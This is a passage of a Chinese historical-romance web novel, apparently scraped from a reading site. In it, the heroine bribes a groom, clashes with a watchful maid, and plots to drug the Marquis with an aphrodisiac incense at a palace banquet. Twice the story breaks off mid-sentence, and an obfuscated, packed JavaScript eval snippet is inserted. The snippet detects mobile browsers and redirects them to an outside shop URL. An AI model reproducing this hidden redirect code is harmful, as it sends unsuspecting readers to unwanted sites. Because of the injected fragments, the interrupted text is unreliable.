玉怜脂看着眼前容颜清秀的女子，轻声问道。 莲芯身段袅娜，盈盈一拜： “回玉姑娘的话，太夫人担忧冬祭规矩繁多，姑娘一时记不全，随祭时恐多有不便，便叫奴婢来伺候姑娘，跟随姑娘左右，好为姑娘解忧。” “原来是这样，”玉怜脂了然道，“太夫人用心良苦。” 挑了这么个水灵的婢女来光明正大地监视她。 玉怜脂：“长者赐，不敢辞。你是叫莲芯吧，先和关嬷嬷下去安置，明日出发随祭，你就贴身跟着我，也好叫太夫人放心。” 莲芯垂首笑应：“是。” 关嬷嬷领着莲芯下去，待房门阖紧，段素灵便走近玉怜脂身旁，压低声音：“姑娘，这婢子……” 玉怜脂不紧不慢地喝了口梨汤：“一副药的事，若是她‘不慎’染上风寒，自然也就只能歇在房里了。” “是，我明白。” “对了，”玉怜脂抬眸看她，“主院那边守得紧，这些天，有找到门路吗？” 她要接近谢砚深，自然要知晓他的行踪，如今虽然大房这边无人能够掣肘她，但高大夫人也做不到插手主院，她只能自己想办法探查。 但侯府主院……说是铜墙铁壁也不为过了。 凡是能知道谢砚深行踪的下人，上到院中大管事，下到伺候笔墨的小厮，无一不是家生的旧仆，忠心耿耿。 主院里能轻易买通的全部都不是近身伺候的，根本无从知晓谢砚深动向，可冬祭近在眼前，一旦过了，她们可就再难有这么好的机会了。 真正是机不旋踵，时不再来。 段素灵贴近她的耳畔，气声道：“姑娘放心，已经联络上了一个主院马厩里的马夫。” “虽然镇北侯平日出行更常骑马，但真皇山行宫之中，臣子纵马而入不合规矩，可山里行走赶路太过不便，所以这一次主院的马夫跟来了好几个，我们联系上的这个是负责侯爷随侍医官车驾的马夫。” 礼律有记，外臣骑马入宫是为大不敬。 而真皇山行宫依山而建，地势高耸，道路宽长蜿蜒，行走困难，便允许臣下坐车坐轿。 事实上，受宠或实权在握的亲王、重臣在有特殊恩典的情况下是能够在宫内骑马的，谢砚深平定北境，自然也有这个恩赏。 但历代镇北侯全部都是忍抑谦逊，虽有此权，却从不行使。 当年第一代镇北侯谢山随太祖皇帝征战四方，一统天下，本有资格像其他的大功之臣一样受封异姓王，但谢山急流勇退，主动上奏，只领了侯爵位，从此在朝堂上低调少言。 后来，开国时册封的异姓王死的死，废的废，像镇北侯府这样一直荣耀到今日的开国重臣之族已经不足一手之数了。 不自伐，故有功，不自矜，故长。夫唯不争，故天下莫能与之争。 可见谢氏一脉何等警惕。 从谢砚深冬祭之时让医官时刻跟随就可见一斑。 但段素灵却说，买通了谢砚深随侍之人的马夫，这可是能直接知道谢砚深动向的一批人。 玉怜脂皱起眉：“主院的马夫？我记得你最早观察的就是那些马夫，查完之后说无从下手，怎么里头又会有人突然答应？” 段素灵也有些犹疑： “愿意提供消息的这个马夫叫赵阿京，是五年前从庄子上调来的，养马训马都是好手，赵阿京是庄子上佃户的儿子，从祖辈开始就一直在谢氏庄子做事，不是侯府宅院里的旧仆。” “那阿姊是怎么接触到他的？”玉怜脂又问。 段素灵：“我们派去的人先是接触了主院外院的几个老杂役，给了银子，只说姑娘好奇，想看看宫宴长什么样子，但苦于不知道宫宴在何处举办，何时开始，又从哪处进出。横竖侯爷肯定要赴宴，便请主院的人到时候透个消息，让姑娘偷偷跟去，远远地瞧上几眼就好，想问问有没有门路，事成之后，必有重谢。” “一开始，一点消息都没有，后来突然有人找来，中间传话，说冬祭负责主院车驾的马夫赵阿京愿意行个方便，只是不知道好处够不够。” “而后这个中间人引路，我易容去见了赵阿京，说先给五百两定银，事成后再付他一千两，没想到，他竟然嫌太少。” 玉怜脂眯起眼：“嫌少?他要多少？” “五千两，两千两先做定银。”段素灵沉声道。 玉怜脂定神片刻，而后笑出声来：“还真是狮子大开口啊。” “他当时什么样子？”她又问。 段素灵沉吟片刻，谨慎说：“似乎是真的不屑，觉得一千五百两不够，而且，他好像对此事有些无所谓，没有任何叮嘱，比如到时候一定要按时回来小心不要被发现之类的。” “如今能接触到的人只有他，只能先稳住，所以我便说数额太大做不了主，过了一天再回去找他，说您同意了，冬祭进了行宫给他两千两，办成事再给三千两。” 闻言，玉怜脂眼中闪动两下，忽地道：“一个庄户出身的马夫，只不过要他透个消息，他开口就敢要五千两？” 一千五百两，足够赵阿京脱离侯府，回老家做个体面的土财主了，他却不屑于此。 而且若是换作平常人，于此事上通常会存在两个反应。 一是觉得天上掉馅饼，难掩激动；二是十分紧张，有道是富贵险中求，也在险中丢，求时十之一，丢时十之九，做见不得人的事，自然害怕事情败露。 真想坐地起价，也不敢一下子这么一大笔钱翻个三倍有余。 就算是赵阿京想到时候拿了钱立刻跑，不顾及身后事，也总要担心一下能不能从侯府全身而退吧。 段素灵一激，立刻看向她：“姑娘的意思……” “不对劲。”玉怜脂下了结论，面色沉下来，目中厉光闪过， “派人盯着他，必要的时候，阿姊，你亲自去。” 段素灵沉声：“是！” * 谢氏族庄，马厩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991716|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 赵阿京推开门进屋时一身的雪，一抬眼看见油灯下缝补衣衫的年轻妇人，脸色立马焦急： “不是叫你天色黑了别做这些，伤了眼睛可怎么办！” 一边说着，连忙走过去不由分说拿走妇人手上的东西。 李贤娘哭笑不得：“哪就这么金贵了，这时节白天短黑天长的，只早午的时辰用来缝补，哪儿够啊。” 赵阿京抹了把脸上化了的雪水，胡茬都润亮起来，一屁股坐下，拉着李贤娘的手，兴奋地压低声音： “你放心，再过不久，就都是好日子了，荣华富贵，自由自在的。” “怎么？”李贤娘惊道，面上有些不安，“那边叫你透露消息给程家表小姐，不是说程小姐给了五百两，那边说事成给我们一千两，总共一千五百两。可我的籍契还在钟府里头，买我的身契就要一千五百两。” 李贤娘苦笑：“说什么要给我们银两，然后放我们走，过自己的日子，其实呢？到时候还不是要把钱统统拿回去，根本没想着给我们留一星半点，让我们走，不过是不想留把柄而已。” 赵阿京冷笑一声，得意得很：“狗屁的一千两！我们现在已经有程府的五百两在手上，要是再加上五千两，一张籍契算个什么？有钱能使鬼推磨，当年他们能造假你的身份，等咱们远走高飞了，照样也能靠钱这么干！” “我就不信了，五千五百两，还不够让咱们逍遥快活！” 赵阿京原本就是个庄上的马夫，但五年前侯府里的两个老马夫准备从位置上退下来回老家，之后要找人顶替，便选中了他，要他三月后进侯府。 消息传过来的第三天，赵阿京在坊市里救了一名美貌纤丽的李姓小妇人。 年轻妇人被他的马惊到受了伤，赵阿京连忙送去了医馆，就此结缘。 后来他前去打听，说是这个叫李贤娘的妇人一年里连着死了两任丈夫，天生克夫的命，虽然貌美，但根本没人敢接近她。 但男女这种事，一旦上了心，哪是什么虚无的“克夫”能挡得住的，赵阿京三十未娶，天雷动地火，没一个月便上门提亲，将李贤娘娶回了家，此后细心爱护，无所不依。 直到李贤娘告诉他，其实她是钟太师府豢养的瘦马，贱籍出身，刻意接近他，就是为了要他成为钟府在镇北侯府里的眼线，如果他不从，那钟府就会将她带走，继续一双玉臂万人枕的悲惨生活。 她的身份本就是伪造的，真正的籍契文书在钟府手里捏着。 数年前，钟府和侯府婚约崩解，没过多久，谢砚深打了胜仗的消息传回来，钟府就又立刻活动起心思，想在侯府里放些眼线。 但这岂会容易？镇北侯府是什么地方，即便是亲王，也难在里头安插棋子。 钟府等啊等，终于等到了赵阿京这个突破口，可赵阿京忠实，平日沉默寡言，实在找不到弱点，最后，钟府定了这美人计。 有道是自古英雄难过美人关，李贤娘就是钟府为布棋抛出去的诱饵美人。 彼时赵阿京可以说是痛苦万分，李贤娘也同样不忍，数月的夫妻恩爱，她早已经被赵阿京感动，于是流着泪自己写了一封休书，要赵阿京按手印。 赵阿京什么都没说，拿起那张休书，丢进火烧了。 后来，就有了云山观钟芷兰梅林寻谢砚深一干事。 李贤娘心中惴惴：“京哥，你老实告诉我，你到底做了什么？” “别怕，啊。”赵阿京抱住她，狠声道，“我只是不想咱们再被人拿捏了，你放心，到时候，他们没空注意到我们的，我们一定能走成。” 钟府程府找他要冬祭行宫大宴侯爷进出各个地方的行踪，打的什么主意，他好歹也是活了这么多年的人，能不明白？ 不就是露水情缘，床榻算计那回事。 大房那位玉姑娘，财大气粗却胸无城府，到处撒钱，她不是想看宫宴吗，他帮她一把。 让她既能看宫宴，又能看个香艳热闹，五千两，买一送一，才不算亏不是。 最好她吓得当场发作起来，然后把局面搅得更混乱。 不过她更可能不敢闹，而是会悄悄溜走，想装作什么都不知道明哲保身。 这也没关系，他之后会向钟府通风报信，告诉钟府大小姐有这么一个目击者的存在。 钟芷兰难道不得立刻费尽心机斩草除根？届时又是一场好戏。 至于钟府的诡计能不能得逞，那都无所谓，得逞是一场闹剧，没得逞也是一场闹剧。 他要侯府、程府、钟府，全都乱起来。 越乱越好，越乱越妙，越乱，他和贤娘走得越顺利。 一切，就全看明日晚上的大宴了。 26. 欺主 到达族地庄子的第二天，玉怜脂起了个大早，用了早饭，带着人出了临时居住的小院，随处走走。 天色尚未明亮，薄薄夜色如一层轻纱蒙在这片土地，宅院构造庄严规整，却又带着阴沉沉的冰冷。 玉怜脂站在阁楼上，往东处望去，那里是一座全色深黑的建筑——谢氏祖祠。 她无需靠近那里，那股肃穆的气息也不容忽视，如一头沉睡的巨兽耸峙于族地中心。 京城侯府里其实也有一座小祠堂，就在王老太君的润安堂后面，据说也是十分庄重的，但和眼前真正的祖祠相比，想来差的不是一星半点。 寒天霜地之中，厚重的雪覆在谢氏祖祠顶端，周遭庄子下人来回经过，远远看去，如同庞然大物旁慢行而过的小蚁。 昨日老太君、镇北侯他们祭拜祖祠之时她在房中服药，屋外黄钟大吕，声乐鸣鸣，屋内只有苦药的气味、无言的静默。 关嬷嬷站在她身后，看她望着那处静静出神，过了半晌，出声提醒： “姑娘，天气冷，咱们先回去吧，再过一个时辰，老太君就要启程回京了，庄子里的人都要去送的，等送走了老太君，我们就要跟着大夫人去行宫了。” 五步开外，莲芯垂眸不语，静立于原地。 玉怜脂默了几秒，轻声道：“……嗯。” 说罢抬步往回走，阁楼共三层，底下是园子，铺的青石板，昨夜的雪不小，庄上的壮丁今个都早早起来在各处清雪除冰，免得太过湿滑伤到人。 玉怜脂扶着栏杆，慢慢走下楼，身后跟着关嬷嬷、莲芯，和两个小婢女。 她昨晚睡得不踏实，醒的太早，现在没什么力气，看起来整个人有些恹恹的。 方才下到一楼，脚刚落地，身后忽地传来两声细细的轻咳，很快消失。 玉怜脂回过头，看着走在队末的清秀婢女，微蹙起眉，担忧问：“……莲芯，你怎么了？是哪里不舒服吗？” 莲芯一个激灵，快速抬起头：“啊，劳姑娘挂心，只是刚刚吹了股冷风过来，奴婢不小心呛到了，并无大碍。” “这样啊，”玉怜脂了然，微笑着，“那就好。” 话音落下，一旁的关嬷嬷却皱起了眉：“你莫不是伤风着凉了?” 还没等莲芯开口答，站在莲芯旁边的小婢女开口抢道： “昨日我也见莲芯姐姐咳嗽了一阵，还问她要不要去管大夫要副药来喝，可姐姐说不必了。” 关嬷嬷的脸色越发不好：“伤寒可是会传人的，你既然病了，怎么还跟着姑娘出来，真是……” “嬷嬷。”玉怜脂轻声打断她的斥责，偏过头对莲芯柔声道， “莲芯，你别多想，若你真的身子不舒服，尽管去休息就是了，不必跟着了，小病也不能轻视，我这还有其他人呢。” 莲芯深呼吸两下，垂首笑道：“姑娘不必担心，奴婢昨夜已经问过大夫了，并没有染上伤寒，只是受不得冷风，风一吹容易呛到而已，何必小题大做。” “太夫人命我随身侍候姑娘，奴婢怎敢懈怠，若是姑娘嫌弃我，那奴婢便去回禀太夫人，换蓝蕖姐姐过来吧。蓝蕖姐姐最懂规矩，听闻姑娘受教于蓝蕖姐姐时很是认真，一丝不敢错漏，想来若是她在，姑娘也能更安稳些。” 这话可以说是很放肆了，估计蓝蕖回去之后，把训了玉怜脂一路的事情当做战功来四处说道。 玉怜脂微低着头，嘴角弧度不变，没有说话，关嬷嬷则是掐紧了手心。 数秒的静默。 “主子说一句，你倒是敢顶上十句。”冰冷沉肃的男声乍响于右侧。 气氛凝固了不到片刻，就被忽然刺破。 在场众人纷纷快速朝右侧转过头，下人们全部匆忙行礼，而莲芯更是腿一软，跪倒在地。 玉怜脂看着男人从阁楼另一侧穿行而来，手上提着一杆利枪，身后跟着那个叫福明的随身侍从。 他此刻着玄色便服，很贴身，但在这样的天气显得太过单薄，鬓边有些湿，整个人散发着一股不同以往的强烈侵袭感，像是刚刚从沉睡中醒来活动完利爪的狮虎。 玉怜脂忽然想起来，谢砚深似乎有清晨练武的习惯。 好几秒过去了，她愣愣地对上男人看过来的眼神，才如梦初醒。 “深叔。”她连忙行礼问安，声音有些抖。 谢砚深一贯起得早，这处园子里寝院那边近，地方也宽敞，索性就挑了这里练枪。 其实玉怜脂刚来的时候他就察觉到了，他身处的位置是阁楼所望处的背面，玉怜脂又登高，既然两不打扰，他没必要特意去惊她。 只是没想到，府里刁奴欺主，这样明目张胆。 他看见她的时候，她被柔软的金红枝雪底披风裹得严实，明明穿了不少，却还是看着瘦削，脸色也是苍白的，抱着个小手炉，被个丫鬟顶撞得说不出话，好心被当成了驴肝肺，却只会低着头不敢言语。 胆子小。 不争气。 ……可怜。 也不知道当时说谎骗他的那股机灵劲哪里去了。 “这是你原先院里的丫鬟?”他直视她问道。 玉怜脂不用问也知道他说的是谁，摇了摇头，乖乖回话：“不是，她是前几日太夫人送给我的新婢女。” 谢砚深眉头压下：“润安堂的?” 玉怜脂点点头。 “做什么用?”他又问。 玉怜脂犹豫了好一会，才低声道：“……我不大懂冬祭的事情，去了行宫里难免露怯，太夫人便把她派来帮我，教导规矩，以免出错。” “教导规矩。”男人冷冷地重复这四个字。 “以下犯上，侯府何时有过这样的规矩。”他的沉怒直指地上跪着的莲芯。 莲芯慌忙抬起头，对上他寒冰一样的双目，登时吓得冷汗直流，话也有些说不清楚了：“奴，奴婢是真心侍奉姑娘的，侯爷，侯爷恕罪……是太夫人派我来……” 谢砚深收回眼，毫不理会她的求饶：“拖下去，打三十大板，发回润安堂，不许跟入行宫。” 此话一出，众人脸色皆是一变。 三十大板，对一个不曾从事过任何苦力活，可以说是娇养出来的大丫鬟来说，打完，半条命就没了。 更何况这丫鬟不仅身娇体弱，现下可能还病着，雪上加霜。 莲芯面如死灰，僵了一秒，立刻开始磕头。 “侯爷恕罪！侯爷恕罪！奴婢真的不是有心的！侯爷恕罪……！” 莲芯磕了好一阵，等到福明指挥侍卫上来拖她的时候才猛地抬起头，哭得梨花带雨，额上磕出的红痕也没有削弱她的美貌： “侯爷！奴婢是莲芯啊，您不认得奴婢了?求您看在奴婢贴身侍奉太夫人这些年的份上饶了奴婢吧！是奴婢不会说话，冒犯了玉姑娘，愿意领罚，但请侯爷不要发奴婢回润安堂，否则惊动了太夫人可怎么好！侯爷——” 最后那一声叫的婉转悠长，带着钩子，让人想起六月雪，无名冤。 她唤完之后，捉住她手臂要送去打板子的侍卫们都顿了顿。 玉怜脂站在旁边，不着痕迹地挑了挑眉，看看地上美人，又看看冷立的谢砚深。 这又是哪出啊? 桃花二债? 谢砚深将手中的长-枪朝后一抛，福明一步上前接住，另一边的小厮快步递上来热水浸过的巾帕。 谢砚深面无表情，没有分眼神给地上叫冤的莲芯，擦着手：“五十。” 这几乎是要打残她了。 两个字，如同寒风刮了场中众人一记耳光，莲芯更是不敢置信地跌坐着，什么话都说不出来了。 捉住她的侍卫不敢再耽搁，立刻将她拉了起来，就要往阁外走。 “等一等。”轻柔的声音响起来。 莲芯听在耳朵里，只觉得是天外来音。 玉怜脂朝男人走近两步，抬首和他对视，轻声道：“深叔，求深叔饶了莲芯这次吧。” 谢砚深瞳中深暗：“怎么？” 她似乎感知得到他有些不高兴，抿唇一瞬，低声说： “深叔，莲芯一直伺候太夫人，太夫人肯把贴心人派来我这里，是长辈的好意，若是……若是莲芯被抬着回润安堂，那，那我真是无颜再见太夫人了。” 说到末尾，她声音里带了些泣意，深呼吸一下，又说：“深叔今日斥责过莲芯，她肯定已经知道错了，想必之后绝计不敢了。不如……给她一次机会吧？深叔放心，要是她再犯，我一定请深叔做主，绝不姑息包庇。” 话音落下，谢砚深没有立刻回答，而是默然冷视她。 几步开外的福明心里狠狠捏了一把汗。 天夭啊！这府里，侯爷要处置什么人，谁敢拦着？ 他记得的，这个莲芯是原先老太君想送到侯爷房里伺候的两个婢女之一，是老太君的心腹。 当时在厅上老太君叫出来让侯爷见见，侯爷搁了茶，在两个婢女掀帘子半只脚还没迈出来的时候，侯爷拂袖便转身出了门。 为了这事，老太君和侯爷的关系僵了整整两个月，侯爷干脆连侯府都不怎么回了，就宿在府衙，后来还是老太君顶不住，先服了软，此后再也不提了。 连老太君这个亲娘和侯爷对冲都没占上风，旁的人，就更不敢了。 方才这婢子口口声声“惊扰太夫人”，名为贴心，实则威胁，可见毫无悔改之心，所以侯爷才这般动怒。 这位玉姑娘，侯爷帮她出头，她还不领情，这不是自己给自己找不痛快吗。 果不其然，谢砚深接着不语，而架着莲芯的侍卫们也开始脚步又向外移。 玉怜脂看了门口一眼，随后转回头，下一瞬眼泪就下来了。 泪珠一颗一颗地滑下来，又快又急，她张了张口，像是想说话，又一时不知道该说什么。 此时，莲芯拼命地往回喊：“救命……！侯爷！饶了我吧！饶了我吧！饶了我吧！啊！我不想死！玉姑娘救我！太夫人！太夫人！” 玉怜脂被她的叫声猛地一惊，竟下一瞬地朝远离谢砚深的方向退了半步。 他注意到她的动作，额边青筋一跳。 “……深叔，我，我……”她的眼泪越来越多，“求您了……” “我害怕……”她低头捂着唇，这三个字像是飘出来的，离得远，几乎听不见。 但谢砚深听见了。 在莲芯被绑上刑凳的那一刻，福明从阁中奔了出来：“停手！” ———— 天光放亮，护送王老太君回城的车队已经全部列在庄子外，谢砚深和高大夫人亲自将老太君送上马车，又说了好一会儿话，约莫是反复叮嘱行宫之中万事小心云云。 玉怜脂站得不近，只大概看清他们说话的样子，到了最后，王老太君冷斜了她这边一眼，随后撤回身，车窗阖上。 车队很快出了视线范围，谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991717|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚深偏首和高大夫人说了几句话，后者点点头，往后走回来。 “婶婶，”玉怜脂缓步迎上去，“一切都准备好了吗？” 高大夫人表情淡淡：“自然，半个时辰后出发。” 一旁的谢文嫣似乎感觉到有些不对，眼神闪动一下，走过去扶住自己母亲的手臂：“母亲，母亲是累了吗？还是哪里不舒服？” 玉怜脂的神色颇为忧心，说道： “庄子上到底不比侯府，想来婶婶是没有休息好，我那有药堂新制的药香囊，安神最好了，我给婶婶也送去一个吧，文嫣文霖那都换上新香囊了呢。” “是啊母亲，玉姐姐的安神香可有用了，我这几天比以前睡得好多了。”谢文霖说。 高大夫人看着面前面色切切的少女，几乎要咬碎银牙。 妖女！分明是在威胁她！ “……我没什么大事，只是有些疲乏了，上了马车休憩片刻就好。”高大夫人定了定神，说道。 玉怜脂走近她，柔声道：“婶婶若真的身子不舒服，一定要同我说，昨日太夫人派了润安堂的蓝蕖姐姐来，嘱咐我要好好照顾婶婶，千万不能让您受累。” “不如入了行宫，我同婶婶一起住吧，那安神香我直接带过去就好。” 高眉湘挤出一个欣慰的笑：“……好孩子，你有心了，不过，我这身子常年这样，何须如此紧张，到了行宫里，按平时该怎么住该怎么住就是了。” 众人一边说着，脚步往回走，队伍中，莲芯捂着唇，呼着气，脸有些红。 没过多久，她没忍住，轻咳出声。 跟在玉怜脂身后的关嬷嬷立时皱眉，几步移到她身边。 “莲芯，你今日咳了好几回了，便按照侯爷说的，留在庄子吧。”关嬷嬷严声道。 莲芯面色有些焦急紧张，但还强作镇定，正声说：“天太冷了，我喉咙有些不舒服罢了，回去用些蜜梨膏就能好。太夫人让我来帮衬姑娘，我怎好……” 关嬷嬷面色不善，直接打断她：“帮衬?你染上了风寒，跟在我们姑娘身边，让姑娘也染上了病可怎么了得?到时候你是帮人还是害人哪？亏得我们姑娘还为你求情！” 莲芯：“你……” 关嬷嬷打断她，压低声音严肃道：“行了，你这几天必须离姑娘远一些。说破天，咱们是下人，姑娘是主子，哪有主子事事迁就奴才的道理。” “是，你是太夫人派来的，但太夫人现下已经回了京，去了行宫，做主的是侯爷。我们姑娘日日都到大夫人身边伺候，嫣姑娘也常来我们这走动，要是因为你一个人，让几位主子都染了病，那如何是好?侯爷可是说了，再有一次犯错，谁给你求情都不管用。” 莲芯咬着牙，眼眶有些红，似乎是想到今早差点挨的那顿板子，不敢辩驳。 关嬷嬷舒了口气，又说：“太夫人的好意我们姑娘不是不知道，这样吧，让你跟去行宫也行，但你不能随身跟着主子，离远些瞧着便是，这样，也不算违逆了太夫人。” “……这，这样也可以。”莲芯默了几秒，低声应下了。 天光彻底放亮的时候，族庄大门再次大开，这一回的阵仗不大，因为不能带太多人进入行宫，马踏轮滚，蜿蜒向真皇山方向而去。 莲芯被打发去了队末的车队，玉怜脂的马车里便算是清净了。 关嬷嬷拿了雪白药膏往玉怜脂的脸上轻涂，冬天干燥，这种特殊调制的药膏能让她的脸湿润净滑。 “那个碍事的总算走了，免得姑娘在路上还不得轻松，有了侯爷撑腰，想来她也不敢再闹什么了，甚至比用药让她安分更好呢。”关嬷嬷说着。 玉怜脂闭目靠坐：“我倒宁愿用药，今日差点就闹出格了。” 真打残了莲芯，王老太君真就要大怒了，更何况，那时王老太君还没离开族庄，莲芯废了，换个更难缠的蓝蕖来，岂不是又要麻烦一次。 而且， “……真是难对付。”她喃喃道。 关嬷嬷：“姑娘说谁呢？” 玉怜脂掀开眼皮，眨了眨眼：“您说呢？” 早上那回哭得她眼睛都干了。 若是让滨叔心软她要用四成功力，让谢砚深心软，她得攒足十成十的劲。 还得搭配上以退为进、动之以情种种策略。 还不一定有用！ …… 恼人。 累坏她了。 ———— 族地离行宫不远，约莫午时就到了，远看去，行宫之外已经搭起了许多帐篷，奴仆们来回奔忙。 侯府并不是第一个到达行宫的，此刻宫门外已经有其他世族的车马候着，负责引领的太监们指挥着车驾移动。 玉怜脂推开车窗，但没有大开，只留一条缝隙，透过这条小缝，看不清外面的风景，只看得见无数种颜色闪过。 不远处宫门的朱红，太监宫女或蓝或绿的衣衫，灰白交错的石地，世族车驾外壁的金银雕饰，两道覆满白雪的高树瑶丛—— 一道又一道光亮，或暗或明，从她的眼中闪过去。 明明是缤纷无尽，却莫名带着一股沉闷。 压抑的，寂静的，无言的□□感。 她慢慢捏紧了手，马车停顿下来，再等待进入行宫。 车厢厢门打开，段素灵掀了厚帘进来，和她对上眼，随后重重地点了点头。 玉怜脂眼中闪动一下，收手关了窗。 27. 马夫 晚来的世族车队全部进入行宫之后，黄昏已经临近。 镇北侯府分到的行宫住所是连在一起的两座建筑，一处叫行仁斋，另一座叫蹈义台，领路的黄门无不谄媚道： “陛下看重侯爷，这是行宫里最好的几处宫殿，地方宽敞，而且后头有几处温泉，极为暖和，与几位王爷、国公爷相比也是丝毫不差的。” 玉怜脂和谢文嫣一起站在后面一点的位置，悄悄咬耳朵。 谢文嫣贴近过来，低声说： “从前叔父没回京的时候，我们和祖母一块来，虽然住的不差，但也选不上这样好的地方，行宫里的温泉池子可金贵，不是处处都有的。” “行仁蹈义真君子，君子持重坚毅、岳峙渊渟，陛下是在嘉奖深叔的功绩，褒扬他的德行。”玉怜脂轻声接话。 谢文嫣笑眯眯地：“叔父大功，陛下当然爱重啦，我们这下沾光了，姐姐之前答应过我要同我一起泡温泉的，可不许食言。” 玉怜脂点头笑应：“我何时对你食言过？只不过，今晚你和霖儿、深叔都要赴宴，等回来怕也是疲累，时辰也晚了，不如明天吧？” “好！” 再一阵安置忙乱，第一抹月色上来的时候，重鼓声擂响天际。 ——行宫夜宴即将开始。 行仁斋。 福明将最后的玉佩系好，低头退后几步：“侯爷，马车已经备好了，乔大夫会跟着一起去。” 大宴不比往常，人多难免混乱，更少不得算计，年年大宴上都会发生些事情，或大或小，有福有祸，有些年是后宫多了几位一夜得幸的妃嫔，有些年…… 横竖，不是多光彩的事。 明枪易挡，暗箭难防，乔大夫两代人都在镇北侯府里伺候，医术十分精湛，福明与忠伯商量后，在谢砚深面前推举了他跟来行宫。 宫宴在行宫昭丰大殿举行，若是距离近的，乘轿辇就够了，但行仁斋、蹈义台离昭丰大殿较远，行宫环山而建，去大殿的途中要上一段山路，乘车方不误时辰。 谢砚深抬步出了门，转过几十步，高大夫人和龙凤胎已经在大门外等着了，今夜除了玉怜脂，他们都要赴宴。 玉怜脂转头，望见男人大步而来，只瞧他纡佩金紫，便能感知到那股身居高位的威严气势。 这身正服也愈发显得他轩昂冷峻，令人生出畏惧。 玉怜脂只看了两眼便低下了头，盯着地上石板不语。 谢文嫣转眼看见她有些发愣，以为她是因为要独自留下而难过，走近过去拍拍她的手： “玉姐姐，我们很快就回来了，我那带了许多图册话本，可以解闷，你尽管去拿，若是困了就先睡，明日我与你一同去游玩。” 玉怜脂轻笑出声：“我知道了，放心吧。” 大门外停靠着三辆马车，打头的是谢砚深的车驾，再到高大夫人和谢文嫣谢文霖的马车。 最后那辆最小的马车是给随行医官和放置各种物什准备的，为防宫宴上有个什么万一，衣衫药物之类的东西自然是越齐全越好。 小马车的车夫留着粗糙的短鬍，面容普通，肤色很黑，身量却不矮，颇为健壮，在控马出发经过大门的时候，他转头看了大门处一眼。 三辆马车消失在视线范围内，玉怜脂带着人回了蹈义台的寝房。 入了房门，段素灵立刻从柜子里拿出一个包袱，三下五除二打开，正是一套婢女的衣服： “姑娘换上吧，一会儿赵阿京会找由头返回来一趟，到时我们就跟着车去宫宴。” “好啊，”玉怜脂拎起这套婢女衣服，笑着打量，“阿姊，我要的药准备好了么？” 段素灵默了一下，从怀中拿出两个小瓶，一粉一绿： “此物名为神蛇交，前朝宫中之物。蛇性本-淫，雌雄绕缠，上古有伏羲女娲，皆为半人半蛇之躯，羲皇娲皇相交而后得以繁衍，此香故此得名。中伏羲香者，会不由自主追身带女娲香的人，往日一分意动，中香后可化作九分灼情，意识半醒却难以自控。” “行宫大宴非比寻常，停放马车的地方没有多少眼睛盯着，更好下手，我会设法将伏羲香投入侯爷的马车中，而这瓶女娲香，就交给姑娘了。” 玉怜脂捻起那个小粉瓶，晃了晃，有些好奇地打量着，像是赏玩一件无关紧要的小摆件。 段素灵看她的样子，还是忍不住开了口：“姑娘，此香一旦用了……！此时回头，还来得及……” “阿姊，没有回头路了。”玉怜脂拿着女娲香，轻声打断她。 段素灵闭眼呼出一口气，又说： “侯爷身边那个乔医官，医术恐不在我之下，神蛇交虽然少有人知，但也侯爷身边不乏奇人异士，难保不被查出痕迹。” 玉怜脂抬起眼，勾唇：“若是阿姊昨日查探到关于赵阿京的消息无误的话，即使事情败露，这罪责想来会有人帮我们担着的。” 说罢，她拿起那套衣裙。 段素灵上前为她更衣，低声说：“其实姑娘不必亲去的，我扮作姑娘，一人前去放药即可，而后守在那里，确保侯爷上了马车回来就是。” 玉怜脂摇头：“我还有话要问赵阿京呢，而且今夜我们一旦动手，事况便是瞬息万变，谁也不能预料究竟会发生什么。阿姊独去，若有惊变，难道跑回来问我对策再跑回去行事？古往今来，多少大事成于天运，又有多少霸业败于偶然。此事太险，我若不亲去，实在放不下心。” ———— 行仁斋大门紧闭，侍卫守在门外，忽地远处隐隐传来马车奔动之声。 轮值的领班侍卫走出几步，朝声音来处望去，只见一匹棕鬓马拉着车一路过来，领班侍卫一眼就认出这辆马车，正是半个时辰前赴宴的三辆马车最末尾的那辆。 驾车之人勒停了马，利落跳下来，手掏出腰牌一亮。 “马出了点问题，我请示过了，回来换匹马，快开门，莫要耽误了正事！”赵阿京喊道。 领班侍卫看了他的牌子，随后抬眼问：“马出了问题？什么问题？” 赵阿京有些不耐烦：“山里太冷了，这匹马厚膘没长好，冻得不愿快跑，刚刚又一直不安分，我回来换一匹。” 领班侍卫抬头看那匹棕鬓马，果真见到它收缩着肌肉，微微颤抖，不停地摆着蹄子，方才过来的时候拉车的速度也挺慢。 赵阿京：“大宴还要好些时辰才能结束，我怕它到时候误事，趁现在闲着，赶紧回来换匹好的，顺便再弄一弄车轮，又开始下雪了，路上太滑，回来的时候恐怕还有积雪，还是小心点好。” 理由充分，又经过请示，侍卫们自然没有理由不放人。 赵阿京牵拉着马车进了大门，很快一拐，朝宫殿最偏的南角过去，行宫里有五处大马厩，现下已经满了，马匹安置也是难题。 行仁斋和蹈义台的南边是围起来的好几间破旧空房，原本用来堆积杂物的，此刻正好用来做临时的马房，横竖马匹不多，应付到冬祭结束也够了。 赵阿京入了破院，里头立着数匹备着替换的好马，他解开套在棕马身上的缰绳，动作很快，挑了一匹毛色黑红混杂的马换上。 随后他又开始包车轮，此时，身后传来地面厚草被踩动的声响。 